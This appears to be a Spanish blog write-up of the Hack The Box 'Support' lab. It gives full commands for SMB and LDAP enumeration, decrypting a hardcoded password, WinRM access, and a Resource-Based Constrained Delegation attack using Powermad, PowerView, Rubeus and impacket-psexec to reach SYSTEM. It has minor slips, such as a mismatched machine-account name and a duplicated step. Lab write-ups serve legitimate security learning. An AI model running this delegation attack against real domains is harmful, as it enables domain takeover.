HTB: Support (Windows, dificultad fácil)

Descripción

Support es una máquina Windows de dificultad fácil que pone a prueba habilidades en enumeración de servicios en red y explotación de privilegios en entornos Active Directory. A través de un recurso compartido SMB con autenticación anónima, se descubre un ejecutable que consulta el servidor LDAP en busca de usuarios. Mediante ingeniería inversa, análisis de red o emulación, es posible extraer la contraseña utilizada por el binario para autenticarse en el servidor LDAP y realizar consultas adicionales.

Durante la enumeración, se identifica un usuario llamado support, cuyo campo de información (info) contiene su contraseña. Con estas credenciales, se establece una conexión WinRM a la máquina. Una vez dentro, se recopila información del dominio utilizando BloudHound-Python, y con BloodHound se descubre que el grupo Shared Support Accounts, al cual pertenece el usuario support, posee privilegios GenericAll sobre el objeto de la máquina del controlador de dominio. Esto permite ejecutar un ataque de Resource-Based Constrained Delegation (RBCD) para obtener una shell con privilegios de NT Authority\System.

Enumeración

Enumeración de puertos

Comenzamos la resolución de la máquina «Support», realizando un escaneo de puertos masivo sobre el objetivo.

nmap -p- --min-rate 2500 -Pn -n 10.10.11.174

Una vez obtenidos los puertos que tiene abiertos el objetivo, continuamos con un escaneo más profundo únicamente con los servicios abiertos.

nmap -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sVC -Pn -n --min-rate 2000 10.10.11.174

Enumeración SMB

El objetivo tiene abierto el puerto 445 (SMB), vamos a comprobar si podemos acceder a información interesante utilizando este servicio.

smbclient -L //10.10.11.174 --no-pass

Observamos que podemos listar las unidades de memoria sin necesidad de credenciales. Destaca «support-tools» que no es una unidad por defecto de Windows.

smbclient //10.10.11.174/support-tools --no-pass

En la unidad «support-tools» localizamos una serie de ejecutables y archivos comprimidos. Hay un archivo comprimido con un nombre un poco sospechoso, que vamos a descargar en nuestro equipo de ataque.

Decompilando el .exe

Descargamos el archivo zip en nuestra máquina de ataque, para posteriormente comenzar un proceso de reversing con el fin de tratar de extraer información.

strings UserInfo.exe

El programa parece estar escrito en .NET Framework (C# o Visual Basic). Vamos a a tratar de decompilar el .exe para ver si contiene información interesante. Para realizar esta tarea, vamos a utilizar la siguiente herramienta.

Una vez, cargado el binario y decompilado, vamos a comenzar a revisar el contenido.

Encontramos un posible nombre de usuario «support».

Si seguimos investigando, encontramos una contraseña cifrada con la key «armando». Vamos a trabajar sobre la password cifrada localizada. Para ello, utilizamos el siguiente script:

#!/usr/bin/env python3
import base64

def decrypt_password(enc_password, key):
    """
    Descifra la contraseña cifrada.
    
    Se decodifica la cadena en base64 y, para cada byte, se aplica:
        byte_descifrado = (byte_cifrado XOR byte_de_la_clave) XOR 0xDF
        
    :param enc_password: Cadena cifrada en base64.
    :param key: Clave de descifrado en formato bytes.
    :return: Cadena descifrada.
    """
    # Convertir la cadena base64 a bytes
    array = base64.b64decode(enc_password)
    array2 = bytearray(array)

    # Se recorre cada byte aplicando la operación de descifrado
    for i in range(len(array)):
        array2[i] = (array[i] ^ key[i % len(key)]) ^ 0xDF

    return array2.decode()

def main():
    # Se solicita la contraseña cifrada (en base64) desde la terminal.
    # Ejemplo de entrada: 0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E
    enc_password = input("Introduce la contraseña cifrada (base64): ")
    
    # Clave fija de descifrado (en este ejemplo se usa "armando")
    key = b"armando"
    
    try:
        decrypted_password = decrypt_password(enc_password, key)
        print("Decrypted Password:", decrypted_password)
    except Exception as e:
        print("Error al descifrar la contraseña:", e)

if __name__ == '__main__':
    main()

La contraseña descifrada es: nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
Tenemos unas credenciales que probablemente sean válidas en el servicio LDAP. Vamos a comprobar si esto es cierto.

Enumerando LDAP

Existe la posibilidad de que hayamos localizados unas credenciales para el servicio LDAP. Vamos a comprobar si son válidas y si podemos extraer información haciendo uso de ella.

ldapsearch -x -H ldap://10.10.11.174 -D 'support\ldap' -w '' -s base -b '' namingcontexts

Podemos comprobar que las credenciales son válidas.
Vamos a listar toda la información del DC.

ldapsearch -x -H ldap://10.10.11.174 -D 'support\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b 'CN=Users,DC=support,DC=htb'

Encontramos lo que parece una password support:Ironside47pleasure40Watchful

Explotación

Vamos a realizar comprobaciones con las credenciales localizadas.

nxc winrm 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'

Vemos que las credenciales son válidas para el servicio winrm. Vamos a utilizar la herramienta evil-winrm. Windows Remote Management es un protocolo que permite la conexión entre hardware y software de distintos fabricantes.

evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'

Obtenemos una terminal en el objetivo con el usuario «support».

Y la flag user.txt de usuario con bajos privilegios.

Elevación de privilegios

Comenzamos enumerando a que grupos pertenece y que privilegios tiene el usuario actual.

whoami /all

Vemos un nombre de grupo llamativo: SUPPORT\Shared Support Accounts. Este es un grupo creado y puede tener relación con la carpeta compartida que analizamos al inicio de este CTF.
Pero no tenemos más información. Vamos a utilizar la herrameinta Bloodhound, que es una tool que muestra de forma gráfica las rutas o relaciones entre grupos y usuarios en un entorno de directorio activo.
Hacemos el backup de la información del AD utilizando el injestor de Bloodhound en python.

bloodhound-python -c All -u support -p 'Ironside47pleasure40Watchful' -ns 10.10.11.174 -d support.htb

El siguiente paso será cargar la información obtenida en Bloodhound

Recordamos que el usuario «support» es miembro del grupo «SHARED SUPPORT ACCOUNTS» que tiene privilegios ‘Generic All’ sobre el controlador de dominio. Vamos a comprobar como explotar esto.

Este privilegio nos permitirá crear una cuenta de máquina en el servidor AD y a continuación, agregar la capacidad de esta nueva cuenta para que suplante a otras identidades, firmando tickets de kerberos para otros usuarios.
Para explotar este privilegio, vamos a utilizar las siguientes herramientas.

Configuramos un servidor http Python para enviar los ejecutables de estas tres herramientas a la máquina objetivo.

Una vez transferidos los binarios al objetivos, ejecutamos según los siguientes pasos:

  • Creamos un nuevo equipo (utilizamos powermad.ps1 para ello)
New-MachineAccount -MachineAccount esteesminuevopc -Password $(ConvertTo-SecureString 'elhackereticopass' -AsPlainText -Force)
  • Extraemos el identificador (SID) de la máquina creada
$ComputerSid = Get-DomainComputer esteesminuevopc -Properties objectsid | Select -Expand objectsid
  • Necesitamos crear una entrada ACE para asignar permisos sobre el nuevo computador.
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
  • Configuramos msDS-AllowedToActOnBehalfOfOtherIdentity en el objetivo para que nuestro equipo pueda suplantar el comportamiento del objetivo
Get-DomainComputer dc | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDBytes}
  • Configuramos msDS-AllowedToActOnBehalfOfOtherIdentity en el objetivo para que nuestro equipo pueda suplantar el comportamiento del objetivo
Get-DomainComputer dc | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDBytes}
  • Utilizamos Rubeus.exe para generar un hash RC4_HMAC
.\Rubeus.exe hash /password:elhackereticopass
  • Generamos un service ticket que nos permita el acceso a servicios de una aplciación. en este caso será a los archivos del DC. Las extensiones S4U permiten obtener tickets de kerberos en nombre de un usuario.
.\Rubeus.exe s4u /user:elhackeretico$ /rc4:dc2d7e8252c461ee9dc0cf6b7766ad36 /impersonateuser:Administrator /msdsspn:cifs/dc.support.htb /ptt

Después de ejecutar el comando anterior se deben obtener 3 tickets. eL último de ellos nos permitirá suplantar a otro usuario.

  • Copiamos la cadena y generamos un archivo en nuestro sistema con esta clave
cat ticket_b64 | tr -d ' ' | tr -d '\n' | base64 -d > ticket.kirbi
  • Utilizamos la herramienta de impacket, ticketConverter para convertir el ticket kirbi en ccache
impacket-ticketConverter ticket.kirbi ticket.ccache
  • Cargamos el ticket en la variable de entorno KRB5CCNAME que es la que nos va a permitir guardar el ticket para realziar autenticaciones de kerberos
export KRB5CCNAME=ticket.ccache
  • Finalmente, generamos una shell utilziando impacket-psexec
KRB5CCNAME=ticket.ccache impacket-psexec support.htb/administrator@dc.support.htb -k -no-pass

Solo quedará buscar la flag final.

Tags:

No responses yet

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *